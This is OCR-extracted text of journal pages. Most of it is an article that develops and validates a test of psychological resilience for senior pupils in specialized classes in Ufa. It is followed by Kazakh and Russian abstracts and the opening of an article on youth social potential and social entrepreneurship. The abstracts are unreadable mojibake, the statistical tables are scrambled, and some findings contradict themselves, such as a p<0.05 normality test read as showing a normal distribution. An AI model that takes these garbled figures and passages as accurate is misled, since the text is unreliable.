Psychological resilience affects the interaction between individuals or a group of individuals
(L.M. Mitina, V.F. Petrenko, K.V. Sel'chinok, V.I. Slobodchikov ). If we resort to medical metaphor, then
this concept can be compared with immunity, which is responsible for nonspecific adaptive reactions of
the body, developing in response to a threat to its integrity (B.G.Ananiev).

Meanwhile, psychological resilience includes as a high personal potential (stability, stability, balance,
adequate self-esteem, adaptability, striving to achieve the goals), providing will regulation in educational
activities and focus on constructive interaction in everyday situations. Psychological stability represents
the process of preservation of the most optimum operating mode of the mentality of the person in the
conditions of constantly changing circumstances and their stressful influence. It depends on such factors
as the nervous system of the person, his education, experience, a level of development, etc.

Besides, psychological stability is not an absolute guarantee of stability in general to everything.
Psychological stability is instead flexibility of mentality of the person, then firmness and stability of his
nervous system. Moreover, the fundamental characteristic of psychological stability is mobility of
mentality in continually changing conditions. Psychological stability as well as instability, always "works"
according to the scheme.

P.A. Korchemnaya considered the structure of the psychological stability of personality in military
psychology. According to her psychological resilience consist of the emotional, volitional, intellectual
components.

According to A.V. Permyakova psychological resilience structure includes the following compo-
nents: psychological (attention, memory, thinking, will and self-attitude ), socio-psychological (ability to
interact with other people), medical (health, physiological capabilities of the body), engineering and
psychological (speed, speed, and accuracy of motor reactions).

Some scholars includes as essential components of the psychological stability : the ability to complete
self-realization (E.l.Ignatova, L.A Korostyleva, L.V.Kulikov, Maslow), personal growth with the timely
and adequate resolution of intrapersonal conflicts (motivation, value , role-playing), the relative stability
of the emotional sphere and favorable mood (L.V.Kulikov), the ability to emotional and volitional
regulation (V.A.lvannikov, E.P.Ilin, V.K.Kalin, N.P.Rapohin) the motivational tension adequate to the
situation (E.Ignatova, E.P.Ilin).

Some scholars emphasize the role of cognitive components of psychological resilience (Yu.l. Alek-
sandrov, V. D. Shadrikov ). Psychological stability of the personality is shown in stability, firmness,
resilience which are implemented in a strong-willed component (L.V. Kulikov). Psychologically stable
personality can self-regulate and self-organize their behavior in stressful situations, resolve intrapersonal
conflicts ( E.H. Ericson ).

The factors that we identified, one way or another, affect the students' psychological resilience. They
can promote or hinder its manifestations in the educational environment, by which it is necessary to
understand the totality of educational institutions that form the system of educational and educational
influences in the pedagogical process. It is necessary to create the appropriate psychological and
pedagogical conditions that will facilitate the process of students adaptation to study in specialized classes
(B.M.Bim Bad, Bourdieu, Yu.N.Kulyutkin, S.V. Tarasov, V.A. Yasvin ).

Research Methods. Empirical base of research. 107 high school students of specialized classes of
school number 29, 45, 159 took part in our study, Ufa. Thus, high school students are the most adaptive
regarding solving the principal tasks of this period: educational activities, personal self-affirmation.

We devided participants on two groups: Control group with newcomers 54 students (32 girls and
22 boys); Experimental groupwith 53 students ( 30 girls and 23 boys). The age of participants was from 15
to 17 - years. The average age was 16.8 years.

For standartization of test of psychological resilience we create data with 257 high school students
from different schools in the city of Ufa. The average age was 16.3 years. Participants were 138 girls and
119 boys.

Findings. Meanwhile, such a phenomenon as specialized classes, which are often formed in schools
in the 10th-11th grades, cannot but affect the emotional stability and psychological equilibrium of senior
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pupils. The desire to reach certain heights and demands from parents and teachers make psychologi-
cal stability the problem area of child development in adolescence. Therefore, the technique developed by
K. A. Shinyaev and V. M. Miniyarov is topical, relevant and accessible.

Test Description. As a rule, the specialized class is a new team. A pupil meets new teachers, masters
complicated academic program. Thus, the new educational environment affects the self-esteem, stress,
striving for success, and other factors of the psychological stability of a senior pupil. [2]

Test “Determination of psychological resilience of personality” for senior pupils (V. M. Miniyarov,
K. A. Shinyaev) was developed in order to identify the level of psychological resilience of senior pupils.
The test passed psychometric analysis and was standardized.

The tasks of the methodology were based on a theoretical analysis of construct “psychological
stability of personality” and survey of probationers (senior pupils described this concept). Next, we
identified the structural components of the psychological stability of personality: cognitive, volitional and
behavioral ones. We identified strong characteristics of the selected components (based on scientific
sources and survey data). The components of psychological stability provided the basis for the test. These
structural components have the following content. The cognitive component includes self-understanding
and self-acceptance and environment in educational milieu, correlation of concepts of predictable possi-
bilities of present potential; volitional component includes stability, durability, resistance, balance,
emotional flexibility, capacity for personal growth; behavioral component includes the ability to self-
regulate and self-organize our behavior in various stressful situations, focus on constructive commu-
nication in daily life and activities, to create and maintain favorable interpersonal relations, to resolve
intrapersonal conflicts.

Efficiency and point discriminatory power index was taken into account while selecting the items
(tasks) of the method. Efficiency index was determined by dividing the number of students who gave
“key” response by their total number. Discriminatory power index was calculated as the coefficient of
correlation of each task of a technique with a total score of the technique. Discriminatory power index of
the technical task shows its relevance to the measured parameter (psychological stability of personality).
Spearman’s R criterion was used to calculate the correlation coefficient. All the values of coefficients of
correlation of the technical tasks with the final score are positive, statistically significant (p < 0.01) and are
in the range from 0.23 to 0.58. It shows the high discriminatory power of the technical tasks.

Psychological resilence

Frequency

Mean =10.15
Std. Dev. =2.226
N =89

2.00 4.00 6.00 8.00 10.00 12.00 14.00
Psychological resilence

Figure 1 — Psychological resilience with normal distribution
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The technique is valid. Test validity is the extent to which a test measures what it is intended. Test
validity is based on theory and empirical studies data. The main types of validity include content and
constructive ones.

The content validity of a test is the degree of coincidence between the real and desirable content
(tasks) of a test (which characterizes a given construct). The content validity was proved as follows. The
expert group of five people was asked to assess the compliance of the technical tasks with the construct
measured on a five-grade scale where 1 - the task does not correspond to the measured construct in full;
2 - does not correspond at all; 3 - can be attributed to the construct; 4 - is likely to correspond; 5 - fully
corresponds. The experts were specialists in psychological diagnostics, high school psychology teachers.

Construct validity reflects representation degree of a test construct in test results and defines the
scope of phenomena theoretical structure measured by the test.

We applied “Social and psychological adaptation diagnosis™ test developed by C. Rogers and
R. Diamond in order to identify construct validity. The construct of “social and psychological adaptation”
is theoretically connected with “psychological stability of personality” construct. Pearson’s linear
correlation criterion defined the relationship between them. The positive significant correlation was disco-
vered. This relationship is direct and explicit, and it reflects the high degree of similarity of psychological
stability of personality with adaptation.

Thus, the results of the study suggest that the personality psychological stability test developed is
valid. The reliability of the test proves its high quality. The test is considered reliable if it allows obtaining
the same indices for each test-taker during the second test. The reliability of the test was determined by the
reproducibility and accuracy of the test results.

We did not check the test for retest reliability (it is necessary to assess the risk of errors occurrence
that may affect the test result), because the primary condition for retest reliability check conduction is the
optimal choice of the time range, in order to reveal the insignificance of the changes. We carried out
repeated tests at the end of the academic year, so with such a large time gap, adequate results cannot be
obtained.

Table 1 — Correlation between designed test and Social and psychological adaptation diagnosis” test

Deserv.ed Self- Susceptibility Neurotic Aspiration P.S}./Ch.
authority | confidence to stresses to the power | resilience
ﬁzg;tgng’egg;hmg Iéf)ﬁi‘l’:ﬁon 536(°%) | .606(**) - 304(*%) 328(+%) 442(%%)
Sig. (2-tailed) .000 .000 .004 .002 .000
N 93 93 87 88 89
Sstlr‘Z‘s’:gS“b‘hty to Eﬁi‘l’iion S267(%) | -360(*%) 1 S6730%) | 230(%) | -3820%%)
Sig. (2-tailed) 012 .001 .000 033 .000
N 87 87 87 84 86 85
I;t‘;‘;rii’itt‘;“m/ cearson 332(%%) | A0ACYY) | -673(*%) 1 ST1(+)
Sig. (2-tailed) .002 .000 .000 .000
N 88 88 84 88 84
hievementComelation | A11C) | #45C A4 | 4950
Sig. (2-tailed) .000 .000 .000 .000
N 90 90 90 87
Psychological Pearson. ATO(F*) | A52(**) -382(*%) S71(4%) 1
resilience Correlation
Sig. (2-tailed) .000 .000 .000 .000
N 89 89 85 84 89
** Correlation is significant at the 0.01 level (2-tailed).
* Correlation is significant at the 0.05 level (2-tailed).
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Table 2 presents partial correlations between all study variables, with results for each age group
presented separately. We controlled for sex to ensure that any observed differences in the pattern of
correlations between age groups were not gender related. As expected, psychological resilience was
associated with Deserved Authority, Self-Confidence among adolescents. Psychological resilience
evidenced a significant negative correlation with depression and anxiety (Susceptibility to stresses) and a
significant positive correlation with Neurotic Scale. That’s evidence was quite surprising fact cause most
of scholar associate resilience with physiological stability.

Table 2 — Crosstabulation Psychological resilience * Sex * Neurotic Scale

Sex Neuroticism/Stability
Low level | Medium level High level Very high level
Female Psychological resilience ~ Low level 8 1 0 0
Medium 8 23 0
High Level 0 4 3
Total 16 28 12 3
Male Psychological resilience  Low level 1 1 1 0
Medium 6 5 10 4
High Level 0 0 4 1
Total 7 6 15 5

As we see in table 2, 47.4% of females showed a Medium level of Neuroticism/Stability. These
participants (82.1%) were identified as students with medium level of resilience. Neuroticism or
emotionality is characterized by high levels of negative affect such as depression and anxiety.
Neuroticism, according to Eysenck's theory, is based on activation thresholds in the sympathetic nervous
system or visceral brain. This is the part of the brain that is responsible for the fight-or-flight response in
the face of danger. Activation can be measured by heart rate, blood pressure, cold hands, sweating and
muscular tension (especially in the forehead). Neurotic people — who have low activation thresholds, and
unable to inhibit or control their emotional reactions, experience negative affect (fight-or-flight) in the
face of very minor stressors — are easily nervous or upset. Emotionally stable people — who have high
activation thresholds and good emotional control, experience negative affect only in the face of very major
stressors — are calm and collected under pressure.

Table 3 — Crosstabulation Psychological resilience * Sex* Extraversion

Sex Extraversion
Introversion Not Identified Extraversion
Female Psychological resilience Low level 0 7 2
Medium 1 20 19
High Level 1 3 6
Total 2 30 27
Male Psychological resilience Low level 0 1 2
Medium 0 16
High Level 1 2
Total 1 19 13

The majority of participants (43.5%) showed high scores on Extraversion and scale or was not
identified (Ambivertion 53.2%). Extraversion is characterized by being outgoing, talkative, high on
positive affect (feeling good), and in need of external stimulation. According to Eysenck's arousal theory
of extraversion, there is an optimal level of cortical arousal, and performance deteriorates as one becomes
more or less aroused than this optimal level. Arousal can be measured by skin conductance, brain waves
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or sweating. At very low and very high levels of arousal, performance is low, but at a better mid-level of
arousal, performance is maximized. Extraverts, according to Eysenck's theory, are chronically under-
aroused and bored and are therefore in need of external stimulation to bring them UP to an optimal level
of performance.

Sex=Male
10— I Neuroticism/Stability
-Low level
.Medium level
|:|High level
8- -Very high level

Count

Low level Medium High Level 9.00
Psychological resilience

Figure 2 — Psychological resilience among male respondents

Women have been shown to have lower self-confidence, lower self-esteem, and lower self-efficacy
compared to men (Costa et al., 2001; Feingold, 1994; Kling et al., 1999; Lynn & Martin, 1997). Pearlin
and Schooler (1978) evaluated the efficacy of different psychological resources and active coping
responses in mediating four role-based stressors. They find that men are equipped with more
psychological resources (e.g., self-esteem and mastery) than women, concluding that in addition to other
unmeasured factors, socialization better equips men with effective psychological resources, buffering
them from the otherwise deleterious impact of stressors on wellbeing. Interestingly, although previous
work demonstrates significant sex differences in psychological wellbeing, there is less evidence that these
factors are differentially heritable. Thus, sex may indirectly affect the structure of the genetic etiology of
general resilience through the provision of these gendered social psychological resources.

Sex=Female

25 Neuroticism/Stability
-Low level
-Medium level
[dHigh 1evel

20 W very high level

157

Count

10

Low level Medium High Level 8.50
Psychological resilience

Figure 3 — Psychological resilience among female respondents
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Though sex may capture physiological differences, such as hormonal or sex-linked genetic diffe-
rences, sex also confers different, broadly defined environments for men and women. Our findings are
particularly relevant to gene—environment interaction studies because they suggest that sex is an important
environmental moderator of latent genetic factors that contribute to salutary mental health.

Resilience in children refers to individuals who are doing better than expected, given a history that
includes risk or adverse experience. Once again, it is not a trait or something that some children simply
possess. There is no such thing as an 'invulnerable child' that can overcome any obstacle or adversity that
he or she encounters in life—and in fact, the trait is quite common. Resilience is the product of a number of
developmental processes over time, that has allowed children experience small exposures to adversity or
some sort of age appropriate challenges to develop mastery and continue to develop competently. This
gives children a sense of personal pride and self-worth.

Research on 'protective factors', which are characteristics of children or situations that particularly
help children in the context of risk has helped developmental scientists to understand what matters most
for resilient children. Two of these that have emerged repeatedly in studies of resilient children are good
cognitive functioning (like cognitive self-regulation and 1Q) and positive relationships (especially with
competent adults, like parents). Children who have protective factors in their lives tend to do better in
some risky contexts when compared to children without protective factors in the same contexts. However,
this is not a justification to expose any child to risk. Children do better when not exposed to high levels of
risk or adversity.

tendency to an affiliation (group recognition and respect)
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Figure 4 — The normal distribution of group recognition and respect

Technique standardization and group norms definition were carried out on the sample of pupils of
10th and 11th grades; the sample size amounted to 257 senior pupils. The testing of the conformance of
the empirical distribution to normal distribution was carried out according to A -Kolmogorov-Smirnov
criterion. It was revealed that the empirical distribution of the results of the survey conducted using the
author's method does not differ from a normal distribution, A = 2,061, p <0.05. This result makes it
possible to standardize the methodology and identify group norms.

The scale of high and medium level of psychological stability of personality is standard, the low one
shows the variations in the psychological stability of personality.

The results of the test psychometric indicators research presented above allow us to conclude
that “Determination of psychological stability of personality” test for senior pupils (V. M. Miniyarov,
K. A. Shinyaev) accurately measures the structural components of psychological stability of personality,
which underlay the test. The test is valid and reliable.
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The empirical study of the psychological stability of high school students who transferred to
specialized classes was carried out further (table 4).

Table 4 — The Dynamic of students’ resilience

Level of psycho]ogical Stabﬂity Control Group Experimental Group
of pgrsgnahty in the beginning at the end in the beginning. at the end
of academic year academic year academic year academic year
(in %) f academic y demic y demic y demic y
High 44.4 389 62.3 54.7
Average 55.6 61.1 34 35.8
Low 0 0 3.9 9.5

According to Table 4, the high level of psychological stability tends to decrease (44.4% and 38.9%,
62.3% and 54.7%) in both groups by the end of the academic year. However, in the combined student
population group this trend is less pronounced. Perhaps this can be explained by the fact that by the end of
the academic year students get less interested in learning for various reasons. The students from constant
population group are not motivated to achieve good results; they are focused on other values. Even though
in the constant population group the motivation to achieve good results is expressed sufficiently by the end
of the academic year, they could not withstand the claims filed emotionally because of excessive academic
load and fear not to live up to the expectations of parents and teachers. The indicators of the average level
of psychological stability in both samples did not significantly change, the low level of psychological
stability in the combined class is not represented at all, and in the class, with constant students, low
population level of psychological stability increased.

Conclusion. Thus, with the help of empirical data, we managed to confirm the theoretical proposition
that psychological and pedagogical factors of psychological stability of personality of senior pupils
studying in specialized classes are significantly different from the psychological stability of pupils
studying in classes with the regular student population. Even if the psychological stability of students in
the class with constant student population at the beginning of the academic year is higher than that of
students studying in specialized classes, by the end of the academic year the situation starts changing. In
the class with constant student population psychological stability reduces, and in specialized classes, we
witness an upward trend.

When facing stressful events during their placement, students with low resilience and high burnout
were preoccupied with deficiency (i.e. focusing on the problem), which resulted in an overemphasis of the
barriers contributing to the increase in their stress (Larrabee et al, 2010).

A focus on coping enabled high resilience students to manage the demands and limited their cog-
nitive and emotional disturbance. Students with low resilience tended to conform to external demands and
sacrifice their needs. The strong social orientation of Chinese people makes it difficult at times for them to
abstract themselves from the interpersonal demands of a situation (Gabrenya, & Hwang, 1996 in Bond).
However, students who adopted a self-directed orientation in this study were aware of their own limita-
tions and potential, had a sense of responsibility and an active attitude. This contributed to their adaptive
coping and high resilience. Self-regulation and self-awareness was another distinguishing characteristic of
students with high resilience. When compared with students with low resilience, they used much more
self-strategies with the objectives of comforting, sustaining themselves, and most importantly of finding
meaning in the experience. When compared with students with high resilience and low burnout, students
with high resilience and high burnout used more self-persuasion strategies to buffer the increased
cognitive and psychological distress, enable them to face the challenges and sustain their coping. Self-
regulation in the form of reframing, conscious choice based on self-directed goals and persistent support
by self-efficacy are key elements in adaptive coping with resilience despite adversity (Stephens, 2013).
Self-awareness refers to the ability to separate oneself from a situation and reflect (Rees, Breen, Cusack,
& Hegney, 2015). Students with high resilience and low burnout were able to detach themselves from the
problem. Reflection is the key to enhancing self-awareness and self-knowledge. Challenges, changes, and
disruption are all aspects of adversity that should be noted before the process of resilience can occur.
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'M. Axmorta aTbiHaFs! BamkypT MEMIEKETTIK e aroruKablK YHHBEPCHTETI, Peceit,
2EamlquT MEMJIEKETTIK YHUBepcUTeTi, Peceit

«KOFAPTBI CBIHBIIT OKYHIBICBIHBIH TYJIFA PETIHJEI'T
INCUXOJOTI'UAJBIK TYPAKTBLIBIFbI» OJICTEMECIH 93IPJIEY )KOHE CBIHAJITHIM

AnHoTanusi. Makanazna nmpoQuibai ChIHBINTAPFa KOIUiN OUTIMIH JKalFacThIPaThIH KOFAPFBI CHIHBIN OKYIIbI-
JIAPBIHBIH KOKEHKECTI MCUXOJIOTUSUIBIK TYPAKTBUIBIK MPOOIEeMAachl Typasbl allThLIaqbl, MYHAAH ChIHBIITApIa OLTIM
amynpl OacTaraH Ke3Ae KONIIUTTiHIH KUBIHABIKKA IyIiap OOJNIATHIHABIFEI Typaslbl Mocele KOWBLIAaIbl, OJapabIH
KONIILUTITiHIH Oy OKymIbIapaa OacTamkplAa NCHXOJIOTHIBIK TYPAKTBUIBIKTHIH TOMEHAEYiHe OalIaHbICTHI OOJBITT
kenezi. ChIHBINTACTAPBIMEH, YCTa3apMEeH KapbIM-KaThIHAC KAJBIITACTBIPY KAKETTUIIriHe OaillaHbICThl alKbIHIA-
naThiH OeiiMeTyIiH KUBIHABIFbI, MEKTEN OaFiapiaMachbiHbIH KUBIHIBIFBIHBIH XKOFaphl AeHreil kepinic Oepeni. by
npoOyieMa KOFapFbl ChIHBIT OKYIIBUIAPBIHBIH TICUXOJOTHSUIBIK TYPAKTBUIBIK JICHICHJIEpIH aHBIKTAWTBHIH TepMe-
cayaJiayblll JkacakTayra anbin Kenai. JKymbic Oapeickinia 0i3 TepMecayasnayblll TY)XKbIPBIMIAMACBIHBIH HETi3iH
KajaraH OipkaTap OTaHIBIK JKOHE WLIETENAIK IICHXOJIOTHSIIBIK JEepeKKe3naepal 3epTreiik. biz0eH Teopusuibik-
METOJIOJIOTHUSUIBIK Heriziemenep Oenrijenai, 0i3 onapra cylieHe OTBIPBII, CYpaKTap KypbUIBIMBIH a3ipienik. CoHnaii-
aK TICHXOJOTHSJIBIK TYPAKTBUIBIKTHIH KAaC acIEKTUIePiHEe KATBICTBI MOCENe KBI3BIKTHIPIBL JKacecmipiM ImakTarbl
MICUXOJIOTHSIIBIK TYPaKTHUIBIKTHIH KOpiHiC OepyiHe KapaMacTaH, TepMecayalfayblll OJapIbIH ICHUXOJIOTHSIIBIK
TYPaKTBUIBIFBIHA TEpic acep €Tyl MYMKIiH >KaWTTapAblH OapibIFbIH aHbIKTayFa MyMKiHIiK Oepai. Tepmecayai-
JTAYBIIITHIH KOMETi apKbUIbl ICUXOJIOTHSIIBIK TYPAKTBUIBIKTHIH KOpiHic Oepy JeHreinepiH aHpIKTayFa Ooapl, ol 3
Ke3eriHae OoramakTa MeKTENTiH OisliM Oepy OopTackIHIa TICUXOIOTHUSITBIK TYPAKTBUIBIKTHI TY3€Ty OOUBIHIIIA KaXKeTTi
mrapanapasl 0TKizyre MyMKiHIiK Oepesi. JKoFapFbl CHIHBIN OKYIIBICBIHBIH IICHXOJOTHSUIBIK TYPAKTBUTBIK KOPiHICIHIH
TUSIHAKTBUIBIFBIHA OLTIM aTyIbIH TaOBICTBUIBIFBI MEH JKOFAPFbI CHIHBIN OKYIIBICBIHBIH TYJIFa PETIHIC JaMybIH ailKbIH-
JIAMTBIH MEKTENTiH OigiM Oepy opracekl ocep ereai. TepmecayaijaybluThl d3ipiey OapbicbhiHIa 0i3 «OutiM Oepy
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opTace» JeTeH YFhIMFa Ha3ap ayJdapAbIK, ICHXOIOTHSIIBIK JepeKKe3Iepai, OYT KepiHiclieH OailIlaHBICTHI TEOpUs MEH
TYXKBIPBIMIaMaHbl HaKThIpaK TAIAAABIK. TepMmecayanmayblUThl d3ipiey OapbichlHIa Oi3 JKOFapFbl CHIHBII OKY-
IIBICHIHBIH, KOCiOM ©3iH-031 aliKpIHAay MpoOJeMachlHa Ha3ap aynapbll KaHa KOoMaii, COHBIMEH KaTap OHBIH JKEKe
TYJIFa peTiHIeri JaMybIHa J1a Ha3zap aydapAbIK, COFaH OaiIaHBICTHI TepMecayalIaybIlIKa e3iH 31 Oaranayra, ycras-
JIapBIMEH KOHE CHIHBINITACTAPBIMEH KapbIM-KAThIHAC KaJbIITACThIpa OlTyiHe, )aHa jKaF[ainapra, Oi3MiH karaaiia
MEKTeNTiH OlniM Oepy opTachlHIarbl JKarjailnapra Oeilimzieny MpoLecTepiHiH epeKUIeTiKTepiMeH OaiaHbICThI
oﬁniKipﬂep KaJIBIIITACTBIPBIIABI. OKy JKBbUIBIHBIH 6aC])lHILa JKOHC adrblHJarbl JKOFaprbl ChIHBIIT OKYIIBICBIHBIH TYJIFa
peTiHzeri NCUXOJOTHSIIBIK TYPaKThUIBIFBIHBIH KepiHic Oepy AeHreiepid emuiern, 0i3 Mpoduibal ChIHBIITAPIAFHI
’KaHa JKaFiainapaa OUTIMIH JKaJIFaCThIPAThIH JKOFApFbl CHIHBIN OKYIIBLIAPBHIHBIH OKY JKbUIBIHBIH OachIHIarbl OeiliM-
Jenyre OaiiylaHbICTBl KUBIHIBIKTapFa KapaMacTaH, OKY JKbUIBIHBIH asfbIH/A OJIapAbl Urepe OuTiM, MCHXOJIOTHSIIBIK
TYPaKTBUIBIK KOPiHICiHIe OapbIHIIa THSHAKTHI 00J1a OIATreHIIr Typalibl TY)KBIPBIMFa KeJIiK.
Tyiiin ce3aep: NCHXOJIOTHSIIBIK TYPaKTBUIBIK, CTPECC, ©31H-031 peTTey.

JLLT. IanTpneBal, 0. 1. [Io.mnmcaz, 3.P. HaryMaHOBa2

'Bamkupckuii rocy1apcTBeHHBI Mearoruueckuii yuusepcuter uM. M. Akmyisl, Pocens,
2Bau11<14p01<14171 rOCyAAapCTBEHHBIM yHUBEPCUTET, Poccus

PA3ZPABOTKA U AITPOBALIUA METOJUKH
«ICUXOJJOI'HTYECKAS YCTONYNBOCTD JIMYHOCTHU CTAPIIEKJIACCHHUKA»

AnHoTanus. B crarbe roBoputca 00 akTyaJapHOH mpoOiieMe IMCHXOIOTHYECKOH YCTOHYMBOCTH CTapIIeKiIacc-
HHUKOB, KOTOpBIE IIepeXoiT 00y4aThcsi B MPOQMIBHbIE KIACChl, CTABUTCS BOIIPOC O TOM, YTO B Hayaje oOy4yeHHs B
HOILO6H])IX KJIacCaX MHOI'ME€ HMCHBITHIBAIOT TPYAHOCTH, 60]1])111351 4aCcTb KOTOPBLIX CBsA3aHa € TEM, 4YTO IICUXOJIO-
ruycckas yCTOﬁ‘lMBOCTb Ha MNEPBLIX MOpax y 3TUX HIKOJIbHUKOB IMOHMUXKACTCA. CKa3bIBaIOTCS CIIOKHOCTH ajalrTanuu,
KOTOPBIC ONPCACTIAIOTCA HGO6XO[{I/IMOCT])}O BBICTpanBaTb OTHOLICHHA C OJHOKJIACCHUKaMH, IeJaroraMu, BbBICOKUM
YPOBHEM TPYAHOCTH IIKOJBHOW NMporpamMmel. J1a mpobiema moOy/uia co3aaTh ONPOCHUK, BBIBIISIOIINA YPOBHU
TICUXOJIOTHYECKOH yCTOWYMBOCTH CTApIIEKJIACCHUKOB. B mporecce paboThl MBI NMPOaHANIN3UPOBAIH Psifl OTEYECT-
BEHHBIX M 3apYO€XKHBIX ICUXOJOIMYECKUX UCTOYHHMKOB, YTO JIETJIIO B OCHOBY KOHLENIMH ONpOocHHKa. Hamu Oblin
OTIpPENIETICHbl TEOPETUKO-METOJOIOTHUECKIE OCHOBAHUS, OMHMPasCh HA KOTOPbIE MbI pa3paboTallil CTPYKTYpY BOII-
pocoB. Taxxe Hac MHTEpecOBal BONPOC, KACAIOLIUICSH BO3PACTHBIX ACHEKTOB ICHXOJOTMYECKOW YCTOMYMBOCTH.
OnpoCHHUK MO3BOJIHII MPOSICHATB, YTO, HECMOTPS Ha CTAOMIBHOCTD IIPOSIBICHUS IICHXOJIOTHYECKON yCTOWYNBOCTH B
IOHOIIECKOM BO3pacTe, CyIECTBYIOT CUTYaI1, KOTOPbIE MOTYT HETATUBHO BJIMATH HA MX ICHXOJIOTHYECKYIO YCTOM-
qUBOCTh. C MOMOIIBIO ONPOCHUKA MOXHO ONPEJEINTh YPOBHU MPOSIBICHUS IICUXOJIOTHIECKOH YCTOHYUBOCTH, C TEM,
4TOOBI B TOCIIEAYIOIEM IIPOBOJUTH HEOOXOANMBIE MEPONIPHUATHS 10 KOPPEKIMU IICUXOIOTHYECKOH YCTOHYMBOCTH B
o0pazoBarenbHOI cpese mKkoibl. Ha cTabMiIbHOCTD MPOSIBIICHUS IICUXOJIOTMYECKOH YCTOHUMBOCTH CTapIISKIACCHUKA
BJIMsIET OOpa3oBaTeNbHasl cpeja LIKOJIbI, KOTOpas ONpEeAeiseT YCHEUIHOCTh OOYYeHHsS M JIMYHOCTHOTO Pa3BUTHUS
CTaplIeK/IacCHUKa. B mporecce pa3pabOTKH ONPOCHUWKA MbI OOpaTWiIM BHMMaHUE Ha IMOHSATHE «00Opa3oBaTelbHAs
cpena», NOAPOOHO NMPOAHAIN3UPOBAIM ICHXOJIOTHYECKHE MCTOYHHMKH, TEOPHHM M KOHIEIIHMH, CBS3aHHBIE C 3THM
sBJIeHUEeM. B xozxe pa3paboTku OIpocHMKa MBI OOpaTWIM BHUMaHHE HE TOJBKO Ha MpoOiieMy NMpodecCHOHaIBHOTO
CaMOONpeeJICHNs] CTapLIEKJIACCHUKA, HO M HAa €r0 JIMYHOCTHOE Pa3BHTHE, B CBSI3M C YE€M B ONPOCHHMK OBUIM 3aJI0-
JKEHBI CY)KACHHS, CBS3aHHBIE C CaMOOIICHKOW, yMEHHEM CTPOUTH OTHOLICHUS C IEAAaroraMu M OXHOKJIACCHUKAMH,
0COOCHHOCTSIMHU TIpOIiecca afanTalld K HOBBIM YCJIOBHSIM, B HAllleM CIIydae, K yCIOBHSIM 00pa30BaTelNbHON Cpebl
mKosbl. Mi3MepuB ypoBHU HMPOSIBICHUS TICUXOJOTHYIECKOW yCTOWYMBOCTH CTapIIEKIACCHUKOB B Ha4ale U B KOHILE
y4e0HOro rojia, Mbl IPUIIIK K BEIBOLY, YTO 00y4aloIuecs, OKa3aBIINecs] B HOBBIX YCIOBHAX NMPOQMIBHOrO Kiacca,
HECMOTPsI HA TO, B Ha4aye y4eOHOTO ToJla HCIBITHIBAIM TPYIHOCTH aJalTallli, B KOHIE Y4eOHOTo Toja CyMelt UX
NPE0JI0NIeTh, CTaB 0oJiee CTAOWIILHBIMH B IIPOSIBICHUHU TICUXOJIOIMYECKON YCTONYMBOCTH.
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COMPARATIVE ANALYSIS OF SOCIAL POTENTIAL OF YOUTH
AS A FACTOR OF SOCIAL ENTREPRENEURSHIP DEVELOPMENT
IN KAZAKHSTAN AND RUSSIA

Abstract. It’s showed in the article the relevant aspects of the development of social entrepreneurship in
Kazakhstan and Russia. While writing this article it was used the method of comparative analysis, quantitative
methods of sociology, the study of expert opinions. An analysis of relevant aspects of the development of social
entrepreneurship in the Republic of Kazakhstan can be indicative of a stable retaining a state monopoly in the public
sector. In addition, the development of social entrepreneurship is influenced by a number of negative factors such as
corruption, lack of support for initiatives of social entreprencurs from the community, the gap between the
proclaimed and the actual policies in this area.

The article is addressed to scientists, public authorities to study the specifics of the development of social
entrepreneurship in the country.

Keywords: social enterprise, non-governmental organizations, state, civil society.

Introduction. The development of social entrepreneurship is one of the most actual problems of our
time. A protracted global crisis makes us reconsider old mechanisms and ways of solving social and
political problems. Social, and sometimes political, systemic crisis in many countries is accompanied by
an identification and ideological crisis in the consciousness of the population. In its turn, the identification
crisis adversely affects self-identification, formation and development of social consciousness of young
people. In this respect, the identification crisis can be perceived on the one hand as one of the factors of
social degradation of youth, and on the other hand it can serve as an impetus for social transformation and
development of the social consciousness of youth, its subsequent successful adaptation to the rapidly
changing market conditions. In this regard, against the background of the global crisis, social
entrepreneurship is perceived by many as a panacea for all ills. To overestimate or underestimate the
significance of social entrepreneurship is impossible. For many developed and developing countries, it is a
social entrepreneurship that becomes a new opportunity, a search for new mechanisms for solving acute
social problems by implementing innovative ideas.

Development degree of the topic. The study and evaluation of the social entrepreneurship
development was carried out earlier by researchers in the following areas:

- in the course of consideration of social entrepreneurship as social innovation (N.A.Voskolovich,
P.F.Druker, M.S. Zakirova, Robert Alan) [1-3];

- with the problems of the division of social entrepreneurship from business (J.Austin, M.Yunus,
J.Boschee, S.Sagawa) [4-7];

- problems of the division of social entrepreneurship from charity (o.a.zakharchenko, m.halme,
m.porter) [8-10];

- from the perspective of studying different types of social entrepreneurship (S.E. Zahra,
E.Gedajlovic, D.O.Neubaum, K.Alter) [11, 12];

- from the position of studying business models of social entrepreneurship (D.E.Klimanov, R.Amit)
[13-15];
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- the contribution of the subjects of social entrepreneurship in the form of social capital to the social
development of society (d.bornstein, j.thompson, j.nahapiet, s.ghoshal) [16-18].

- effectiveness assessment of intersectoral interaction between the state and the nongovernmental
sector and business within the framework of the social entrepreneurship development (Satymbekova K.,
Ibraimova S., Kerimbek F., Esbolova A., Imanbaeva Z.0., E.M. Shmatkova) [19, 20].

The research methods. Researchers use the following quantitative (questionnaires) and qualitative
(focus-groups) methods of sociological research to study the social potential of youth as a factor in the
social entrepreneurship development in the country.

In addition, the concept of social capital was used as a type of intersubjective interconnection in
society to define the development level of the social potential of youth. In this case, the social relationship
should be strong and stable.

The research results. The author of the article conducted a sociological survey of students
"Identification of social preferences and social potential of students" in Turkestan to identify social
preferences and social potential of youth in November 2017. 91 respondents took part in the survey,
including 36 women and 55 men. The sample was random.

The majority of the respondents evaluated the social situation in the country as favorable (52.7%),
tense (35%), crisis (12%). 89% of these respondents would like to improve it.

Table 1 — Levels of Kazakhstan youth trust in

Parents,
The pr
=&— Difficult to
The prime Relatives and answer
minister, close people,

=—1 don’t trust

The akim of Friends
the region, ’ [ trust
rus
The akim o Groupmates
the city, P ’

Teachers in
the university,

According to the trust ratings, the circle of the greatest trust of young people outlines parents (93%),
relatives (78%) and friends (62.6%), the circle of the least trust outlines a rather low level of trust in the
subjects of power (from 16.4% to 19.7% ), except for the President of the Republic of Kazakhstan (37%).
This is quite logical since the closest surrounding is more trusted than the more distant surrounding. At the
same time, the most respondents had difficulties to answer (from 0.5% to 54.9%), this group can be more
quickly referred to distrustful respondents. In addition, this may indicate the accumulation of significant
social capital in the social consciousness of young people in the near surroundings. The availability of
social capital can lay a solid foundation for the successful development of social youth entrepreneurship. As
is known, one of the main indicators of the availability of social capital is a high level of trust in social actors.

